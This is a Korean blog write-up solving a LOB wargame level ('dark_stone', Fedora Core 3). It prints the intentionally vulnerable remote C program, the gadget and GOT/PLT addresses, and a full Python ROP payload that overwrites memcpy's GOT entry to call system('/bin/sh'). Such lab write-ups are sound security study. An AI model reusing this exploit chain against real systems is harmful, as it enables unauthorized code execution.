[LOB FC3] evil_wizard -> dark_stone
2018. 4. 26. 02:15
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | /* The Lord of the BOF : The Fellowship of the BOF - dark_stone - Remote BOF on Fedora Core 3 - hint : GOT overwriting again - port : TCP 8888 */ #include <stdio.h> // magic potion for you void pop_pop_ret(void) { asm("pop %eax"); asm("pop %eax"); asm("ret"); } int main() { char buffer[256]; char saved_sfp[4]; int length; char temp[1024]; printf("dark_stone : how fresh meat you are!\n"); printf("you : "); fflush(stdout); // give me a food fgets(temp, 1024, stdin); // for disturbance RET sleding length = strlen(temp); // save sfp memcpy(saved_sfp, buffer+264, 4); // overflow!! strcpy(buffer, temp); // restore sfp memcpy(buffer+264, saved_sfp, 4); // disturbance RET sleding memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length)); // buffer cleaning memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000); printf("%s\n", buffer); } | cs |
힌트로는 GOT overwriting again이다. 하지만 저번과 다른점은 remote란 점일까... 포트도 주어졌다. TCP 8888
일단 코드를 찬찬히 분석해보자. sfp는 변조불가능하고, ret sled도 막혀있고, buffer도 싹 지워버린다.
저번에 썻던 코드를 가져와서 재활용해야겠다.
memcpy_plt : 0x8048418
strcpy_plt : 0x8048438
memcpy_got : 0x8049850 //값: 0x0804841e
pop-pop-ret : 0x080484f3
/bin/sh : 0x833603
system : 0x7507c0
c0 : 0x80484d9
07 : 0x8048364
75 : 0x8048740
00 : 0x8049814
아까와 똑같이 짜서 했는데 안된다... 왜 안되는가 고민했는데... 일단 추측하기로는 got.plt를 덮어쓰다가 .data까지 침범해서라는 것이다.
memcpy_got : 0x8049850 는 .data와 매우 가까운 위치에 있다.
그래서 .data를 지나서 bss영역을 이용하기로 했다.
다행히 w가 가능한 공간이다.
적당한 위치를 잡고 복사를 진행하자.
0x8049888로 잡겠다. 소스는 아래와 같이 짜였다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | from struct import * p = lambda x : pack('<L', x) memcpy_plt = p(0x8048418) strcpy_plt = p(0x8048438) memcpy_got = 0x8049850 bss = 0x8049888 ppr = p(0x080484f3) bin_sh=p(0x833603) payload = "A"*268 payload += strcpy_plt+ppr+p(bss)+p(0x80484d9) payload += strcpy_plt+ppr+p(bss+1)+p(0x8048364) payload += strcpy_plt+ppr+p(bss+2)+p(0x8048740) payload += strcpy_plt+ppr+p(bss+3)+p(0x8049814) payload += strcpy_plt+ppr+p(memcpy_got)+p(bss) payload += memcpy_plt + "BBBB" + bin_sh print(payload) | cs |
공격!
성공~~
아이템을 획득하였당... 다음은 FC4인가
'Wargame > LOB' 카테고리의 다른 글
[LOB FC3] hell_fire -> evil_wizard (0) | 2018.04.26 |
---|---|
[LOB FC3] dark_eyes -> hell_fire (0) | 2018.04.25 |
[LOB FC3] iron_golem -> dark_eyes (0) | 2018.04.25 |
[LOB FC3] gate -> iron_golem (0) | 2018.04.25 |
[LOB FC3] dark_eyes -> hell_fire에서 system함수를 사용할때 오류 (0) | 2018.04.23 |